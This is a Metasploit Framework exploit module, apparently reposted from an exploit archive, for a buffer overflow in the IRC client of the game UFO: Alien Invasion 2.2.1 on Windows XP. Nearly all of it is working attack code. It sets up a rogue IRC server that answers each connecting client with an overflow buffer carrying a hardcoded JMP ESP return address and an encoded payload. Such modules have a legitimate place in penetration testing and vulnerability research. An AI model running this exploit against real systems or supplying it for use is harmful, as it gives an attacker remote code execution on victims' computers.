UFO: Alien Invasion IRC Client Buffer Overflow Exploit

`##  
# $Id: ufo_ai.rb 9643 2010-07-01 19:54:48Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Exploit::Remote::TcpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow Exploit',  
'Description' => %q{  
This module exploits a buffer overflow in the IRC client component of  
UFO: Alien Invasion 2.2.1.  
},  
'Author' =>  
[  
'Jason Geffner', # Original Windows PoC Author  
'dookie' # MSF Module Author  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 9643 $',  
'References' =>  
[  
[ 'OSVDB', '65689'],  
[ 'URL', 'http://www.exploit-db.com/exploits/14013' ]  
],  
'Payload' =>  
{  
'Space' => 400,  
'BadChars' => "\x00\x0a\x0d",  
'MaxNops' => 0,  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP Universal', { 'Ret' => 0x0AE59A43 } ], # JMP ESP in SDL_ttf.dll  
],  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),  
], self.class)  
  
end  
  
def on_client_connect(client)  
  
return if ((p = regenerate_payload(client)) == nil)  
  
print_status("Got client connection...")  
  
buffer = "001 :"  
buffer << rand_text_alpha_upper(552)  
buffer << [ target.ret ].pack('V')  
buffer << make_nops(8)  
buffer << payload.encoded  
buffer << "\x0d\x0a"  
  
print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")  
  
client.put(buffer)  
  
end  
  
end  
`